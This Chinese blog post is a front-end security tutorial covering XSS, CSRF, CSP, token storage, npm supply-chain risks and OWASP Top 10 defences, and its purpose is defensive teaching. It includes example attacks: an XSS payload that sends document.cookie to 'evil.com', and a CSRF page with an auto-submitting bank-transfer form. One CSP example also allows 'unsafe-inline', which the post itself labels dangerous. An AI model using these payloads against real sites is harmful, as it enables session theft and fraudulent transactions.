删库在逃程序员的Blog

前端安全指南 2026:XSS、CSRF、CSP 与 OWASP Top 10 防护实战

author
·
7
0

前端安全指南 2026:XSS、CSRF、CSP 与 OWASP Top 10 防护实战

预计阅读时间:30 分钟 | 适合人群:所有前端开发者

根据 Verizon 2025 数据泄露报告:

  • 43% 的数据泄露源于 Web 应用攻击
  • XSS 攻击占所有 Web 攻击的 65%
  • 平均每次数据泄露成本高达 445 万美元

前端安全不再是"后端的事"。作为前端开发者,我们是用户数据的第一道防线。

这篇文章,我们系统讲解前端常见安全威胁和防护方案,帮你构建安全的前端应用。


一、OWASP Top 10 2025 前端相关风险

OWASP(开放 Web 应用安全项目)每 3-4 年更新一次 Top 10 风险列表。2025 年前端需要重点关注的风险:

排名 风险 前端关联度
1 失效的访问控制 ⭐⭐⭐
2 加密机制失效 ⭐⭐
3 注入攻击(XSS/SQL) ⭐⭐⭐⭐⭐
4 不安全的设计 ⭐⭐⭐
5 安全配置错误 ⭐⭐⭐⭐
6 易受攻击的组件 ⭐⭐⭐⭐
7 身份认证失效 ⭐⭐⭐
8 软件/数据完整性失败 ⭐⭐
9 安全日志/监控失败 ⭐⭐
10 SSRF ⭐⭐

前端重点防护:XSS、CSRF、CSP、依赖安全、身份认证。


二、XSS(跨站脚本攻击)防护

2.1 什么是 XSS?

XSS(Cross-Site Scripting)是指攻击者向网页注入恶意脚本,当其他用户访问时执行。

攻击原理

用户输入 → 未过滤 → 存储到数据库 → 其他用户访问 → 恶意脚本执行

危害

  • 窃取用户 Cookie/Session
  • 劫持用户账户
  • 钓鱼攻击
  • 传播恶意软件

2.2 XSS 三种类型

类型 1:存储型 XSS(最危险)

恶意脚本永久存储在服务器(数据库、评论区、用户资料)。

// ❌ 危险:直接渲染用户输入
<div dangerouslySetInnerHTML={{ __html: userComment }} />

// 攻击示例
用户输入:<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

防护方案

// ✅ 方案 1:使用文本节点,不解析 HTML
<div>{userComment}</div>

// ✅ 方案 2:HTML 实体编码
function escapeHTML(str) {
  return str.replace(/[&<>'"]/g, 
    tag => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      "'": '&#39;',
      '"': '&quot;'
    }[tag]));
}

// ✅ 方案 3:使用 DOMPurify 过滤(需要渲染 HTML 时)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
<div dangerouslySetInnerHTML={{ __html: clean }} />

类型 2:反射型 XSS

恶意脚本通过 URL 参数传递,立即在页面中反射执行。

// ❌ 危险:直接使用 URL 参数
const searchQuery = new URLSearchParams(location.search).get('q');
<div>搜索结果:{searchQuery}</div>

// 攻击链接
https://example.com/search?q=<script>stealCookie()</script>

防护方案

// ✅ 方案 1:始终编码输出
function encodeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

const searchQuery = encodeHTML(new URLSearchParams(location.search).get('q'));

// ✅ 方案 2:使用框架的自动转义
// React/Vue 默认转义插值表达式
<p>{searchQuery}</p>  // ✅ 安全

// ✅ 方案 3:CSP 限制脚本执行
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'">

类型 3:DOM 型 XSS

恶意脚本通过修改 DOM 执行,不经过服务器。

// ❌ 危险:innerHTML + 用户可控数据
const userInput = location.hash.slice(1);
document.getElementById('content').innerHTML = userInput;

// 攻击链接
https://example.com/#<script>evil()</script>

防护方案

// ✅ 方案 1:使用 textContent
document.getElementById('content').textContent = userInput;

// ✅ 方案 2:使用安全的 DOM API
const div = document.createElement('div');
div.textContent = userInput;
container.appendChild(div);

// ✅ 方案 3:避免使用危险 API
// 危险 API 列表:
// - innerHTML
// - outerHTML
// - document.write()
// - eval()
// - setTimeout(string)
// - setInterval(string)
// - Function() 构造函数

2.3 前端 XSS 防护清单

// 1. 永远不要信任用户输入
// 所有输入都必须验证和转义

// 2. 使用框架的安全特性
// React: 默认转义,避免 dangerouslySetInnerHTML
// Vue: 使用 {{ }} 而非 v-html
// Angular: 自动转义,避免 bypassSecurityTrust

// 3. 设置 HTTP Only Cookie
// 后端设置:Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict

// 4. 启用 CSP(内容安全策略)
// 见下一节

// 5. 使用安全库
// DOMPurify: HTML  sanitization
// js-xss: 服务端过滤
// helmet: Express 安全中间件

// 6. 定期扫描依赖
npm audit
npm audit fix

三、CSRF(跨站请求伪造)防护

3.1 什么是 CSRF?

CSRF(Cross-Site Request Forgery)是指攻击者诱导用户在已登录状态下执行非预期操作。

攻击原理

用户登录银行网站 → Cookie 保存在浏览器 → 访问恶意网站 → 
恶意网站发起转账请求 → 浏览器自动携带 Cookie → 转账成功

3.2 CSRF 攻击示例

<!-- 攻击者网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" 
     style="display:none">

<!-- 或者使用自动提交的表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

3.3 CSRF 防护方案

方案 1:CSRF Token(最可靠)

// 后端生成随机 Token
// 存储在 Session 或 Cookie 中

// 前端携带 Token
// 方式 1:表单隐藏字段
<form method="POST">
  <input type="hidden" name="csrf_token" value="abc123...">
</form>

// 方式 2:请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': 'abc123...',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ to: 'xxx', amount: 100 })
});

// 方式 3:Cookie(Double Submit Cookie)
// 设置 Cookie: csrf_token=abc123; SameSite=Lax
// 请求头:X-CSRF-Token: abc123
// 后端验证两者一致

方案 2:SameSite Cookie

// 后端设置 Cookie
Set-Cookie: session=abc123; SameSite=Strict; Secure

// SameSite 三个值:
// - Strict: 完全禁止跨站发送 Cookie(最安全,但影响用户体验)
// - Lax: 允许 GET 请求跨站(推荐,平衡安全和体验)
// - None: 允许跨站(必须配合 Secure)

方案 3:验证 Referer/Origin

// 后端验证请求来源
const origin = req.headers.origin;
const referer = req.headers.referer;

if (origin !== 'https://yourdomain.com') {
  return res.status(403).send('CSRF detected');
}

// ⚠️ 注意:Referer 可能被伪造或省略,只能作为辅助验证

3.4 前端 CSRF 防护实践

// React 示例:自动添加 CSRF Token
import axios from 'axios';

// 从 Cookie 读取 Token
function getCSRFToken() {
  const match = document.cookie.match(/csrf_token=([^;]+)/);
  return match ? match[1] : null;
}

// Axios 拦截器自动添加 Token
axios.interceptors.request.use(config => {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method.toUpperCase())) {
    const token = getCSRFToken();
    if (token) {
      config.headers['X-CSRF-Token'] = token;
    }
  }
  return config;
});

// 使用
axios.post('/api/transfer', { to: 'xxx', amount: 100 });

四、CSP(内容安全策略)实战

4.1 什么是 CSP?

CSP(Content Security Policy)通过白名单机制,限制页面可以加载的资源,有效防止 XSS。

4.2 CSP 配置示例

<!-- 方式 1:Meta 标签 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://cdn.example.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:; 
               font-src 'self' https://fonts.gstatic.com; 
               connect-src 'self' https://api.example.com; 
               frame-ancestors 'none';">

<!-- 方式 2:HTTP 响应头(推荐) -->
Content-Security-Policy: default-src 'self'; script-src 'self' ...

4.3 CSP 指令详解

指令 作用 示例
default-src 默认策略 default-src 'self'
script-src 脚本来源 script-src 'self' 'nonce-abc123'
style-src 样式来源 style-src 'self' 'unsafe-inline'
img-src 图片来源 img-src 'self' data: https:
font-src 字体来源 font-src 'self' https://fonts.gstatic.com
connect-src AJAX/WebSocket connect-src 'self' https://api.example.com
frame-ancestors 允许嵌入的父页面 frame-ancestors 'none'
base-uri 限制 base 标签 base-uri 'self'
form-action 限制表单提交地址 form-action 'self'

4.4 安全值 vs 危险值

// ✅ 安全配置
script-src 'self'                    // 只允许本站脚本
script-src 'self' 'nonce-随机值'      // 带 nonce 的内联脚本
script-src 'self' https://cdn.com    // 指定可信 CDN

// ⚠️ 危险配置(避免使用)
script-src 'unsafe-inline'           // 允许所有内联脚本(XSS 风险)
script-src 'unsafe-eval'             // 允许 eval()(XSS 风险)
script-src *                         // 允许任何来源
script-src 'none'                    // 禁止所有脚本(可能破坏功能)

4.5 渐进式 CSP 部署

// 步骤 1:先使用 Report-Only 模式测试
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// 步骤 2:监控违规报告
// 后端接收报告
app.post('/csp-report', (req, res) => {
  console.log('CSP Violation:', req.body);
  // 记录日志、发送告警
});

// 步骤 3:修复违规后启用正式 CSP
Content-Security-Policy: default-src 'self'

// 步骤 4:持续监控和优化

五、身份认证与会话安全

5.1 Token 存储方案对比

存储方式 安全性 便利性 推荐场景
LocalStorage ⭐⭐ ⭐⭐⭐⭐⭐ 非敏感应用
SessionStorage ⭐⭐⭐ ⭐⭐⭐⭐ 临时会话
HttpOnly Cookie ⭐⭐⭐⭐⭐ ⭐⭐⭐ 高安全应用
内存变量 ⭐⭐⭐⭐ ⭐⭐ SPA 应用

5.2 推荐方案:HttpOnly Cookie + CSRF Token

// 后端设置
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

// 前端无需处理 Token,浏览器自动携带
// 配合 CSRF Token 防止跨站请求

5.3 JWT 安全实践

// ❌ 危险:Token 永不过期
const token = jwt.sign({ userId }, 'secret');  // 无过期时间

// ✅ 正确:设置过期时间
const token = jwt.sign(
  { userId }, 
  'secret', 
  { expiresIn: '1h' }  // 1 小时过期
);

// ✅ 更好:Refresh Token 机制
// Access Token: 15 分钟过期
// Refresh Token: 7 天过期,存储在 HttpOnly Cookie

// 前端逻辑
async function refreshToken() {
  const res = await fetch('/api/refresh', { 
    method: 'POST',
    credentials: 'include'  // 携带 Cookie
  });
  const { accessToken } = await res.json();
  localStorage.setItem('access_token', accessToken);
}

5.4 前端认证中间件

// Axios 拦截器:自动添加 Token、处理过期
axios.interceptors.request.use(config => {
  const token = localStorage.getItem('access_token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

axios.interceptors.response.use(
  response => response,
  async error => {
    if (error.response?.status === 401) {
      // Token 过期,尝试刷新
      try {
        await refreshToken();
        // 重试原请求
        return axios.request(error.config);
      } catch {
        // 刷新失败,跳转登录
        window.location.href = '/login';
      }
    }
    return Promise.reject(error);
  }
);

六、依赖安全与供应链攻击

6.1 npm 依赖风险

根据 Snyk 2025 报告:

  • 46% 的 npm 包存在已知漏洞
  • 平均每个项目有 14 个漏洞依赖
  • 供应链攻击增长 300%

6.2 依赖安全实践

# 1. 定期审计
npm audit
npm audit fix

# 2. 使用锁文件
package-lock.json  # 锁定确切版本
yarn.lock
pnpm-lock.yaml

# 3. 限制安装来源
.npmrc:
registry=https://registry.npmmirror.com
strict-ssl=true

# 4. 使用可信的包
# - 检查下载量、Star 数、维护频率
# - 避免安装来路不明的包
# - 优先选择官方/知名库

# 5. 自动化扫描
# GitHub: Dependabot
# GitLab: Dependency Scanning
# Snyk: 商业方案

6.3 package.json 安全配置

{
  "scripts": {
    "preinstall": "npx only-allow pnpm",
    "postinstall": "npx npm-audit-ci-wrapper",
    "security:check": "npm audit --audit-level=high"
  },
  "overrides": {
    "lodash": "4.17.21",
    "axios": "1.6.0"
  }
}

6.4 防范 typosquatting 攻击

# 攻击者注册相似包名诱导安装
# 例如:react-dom vs reactdmo、lodash vs _lodash

# 防护方案
# 1. 仔细检查包名(代码审查)
# 2. 使用包签名验证
# 3. 私有仓库限制外部包

# 检测工具
npm install -g npm-audit
npm audit

七、安全开发最佳实践

7.1 输入验证

// ❌ 危险:无验证
function createUser(email, name) {
  db.insert({ email, name });
}

// ✅ 正确:白名单验证
const emailSchema = z.string().email();
const nameSchema = z.string().min(1).max(50);

function createUser(email, name) {
  const validEmail = emailSchema.parse(email);
  const validName = nameSchema.parse(name);
  db.insert({ email: validEmail, name: validName });
}

// 使用验证库
// - Zod: TypeScript 优先
// - Joi: 功能丰富
// - Yup: React 友好
// - class-validator: NestJS 生态

7.2 输出编码

// HTML 编码
function escapeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

// URL 编码
const encoded = encodeURIComponent(userInput);

// JSON 编码
const json = JSON.stringify(userInput);  // 自动转义

7.3 错误处理

// ❌ 危险:暴露敏感信息
try {
  // ...
} catch (error) {
  console.error(error);  // 可能泄露堆栈、路径
  res.send(`Error: ${error.message}`);  // 暴露内部逻辑
}

// ✅ 正确:统一错误处理
try {
  // ...
} catch (error) {
  // 记录详细日志(服务端)
  logger.error('User operation failed', { 
    userId, 
    error: error.message,
    stack: error.stack 
  });

  // 返回通用错误(客户端)
  res.status(500).json({ 
    error: '操作失败,请稍后重试',
    code: 'INTERNAL_ERROR'
  });
}

7.4 安全 Headers

// Express 中间件
import helmet from 'helmet';
app.use(helmet());

// 或手动设置
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
  next();
});

八、安全测试与审计

8.1 自动化扫描工具

工具 类型 用途
npm audit 依赖扫描 检测已知漏洞
Snyk 依赖扫描 商业方案,更强大
ESLint security 代码扫描 检测不安全代码模式
SonarQube 代码质量 安全规则检测
OWASP ZAP 渗透测试 自动化安全测试
Burp Suite 渗透测试 手动安全测试

8.2 ESLint 安全插件

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection': 'warn',  // eval、Function
    'security/detect-non-literal-fs-filename': 'error',
    'security/detect-unsafe-regex': 'error',
    'security/detect-buffer-noassert': 'error',
    'security/detect-child-process': 'warn',
    'security/detect-disable-mustache-escape': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-no-csrf-before-method-override': 'error',
    'security/detect-non-literal-regexp': 'error',
    'security/detect-non-literal-require': 'warn',
    'security/detect-possible-timing-attacks': 'warn',
    'security/detect-pseudoRandomBytes': 'error',
  }
};

8.3 安全检查清单

## 发布前安全检查

### 代码安全
- [ ] 所有用户输入都经过验证
- [ ] 所有输出都经过编码
- [ ] 无硬编码密钥/密码
- [ ] 无 console.log 敏感信息
- [ ] 错误处理不暴露内部信息

### 依赖安全
- [ ] npm audit 无高危漏洞
- [ ] 所有依赖为最新版本
- [ ] 无来路不明的包

### 配置安全
- [ ] 启用 HTTPS
- [ ] 设置安全 Headers
- [ ] 配置 CSP
- [ ] Cookie 设置 HttpOnly + Secure
- [ ] CORS 配置正确

### 认证授权
- [ ] Token 有过期时间
- [ ] 实现 Refresh Token 机制
- [ ] 敏感操作需要二次验证
- [ ] 权限校验完整

### 测试
- [ ] 通过 ESLint security 检查
- [ ] OWASP ZAP 扫描无高危
- [ ] 渗透测试通过

九、应急响应

9.1 发现漏洞后的处理流程

1. **确认漏洞**
   - 复现漏洞
   - 评估影响范围
   - 确定严重等级

2. **临时修复**
   - 下线受影响功能
   - 部署紧急补丁
   - 通知用户修改密码

3. **彻底修复**
   - 修复根本原因
   - 全面测试
   - 灰度发布

4. **事后复盘**
   - 编写事故报告
   - 更新安全规范
   - 加强监控

5. **通知相关方**
   - 用户通知(如需)
   - 监管报告(如需)
   - 公开披露(负责任披露)

9.2 安全事件联系人

// 在网站添加安全联系方式
// security.txt 标准:https://example.com/.well-known/security.txt

Contact: security@example.com
Encryption: https://example.com/pgp-key
Acknowledgments: https://example.com/hall-of-fame
Policy: https://example.com/security-policy

总结

前端安全是一个持续的过程,不是一次性的任务。关键要点:

  1. XSS 防护:永远不要信任用户输入,始终编码输出
  2. CSRF 防护:使用 CSRF Token + SameSite Cookie
  3. CSP:启用内容安全策略,限制资源加载
  4. 认证安全:使用 HttpOnly Cookie,实现 Token 刷新
  5. 依赖安全:定期审计,使用锁文件
  6. 安全测试:自动化扫描 + 人工审计

记住:安全是每个人的责任。作为前端开发者,我们是用户数据的第一道防线。


参考资料

你的项目有什么安全措施?遇到过什么安全事件?欢迎在评论区分享!

评论 (0)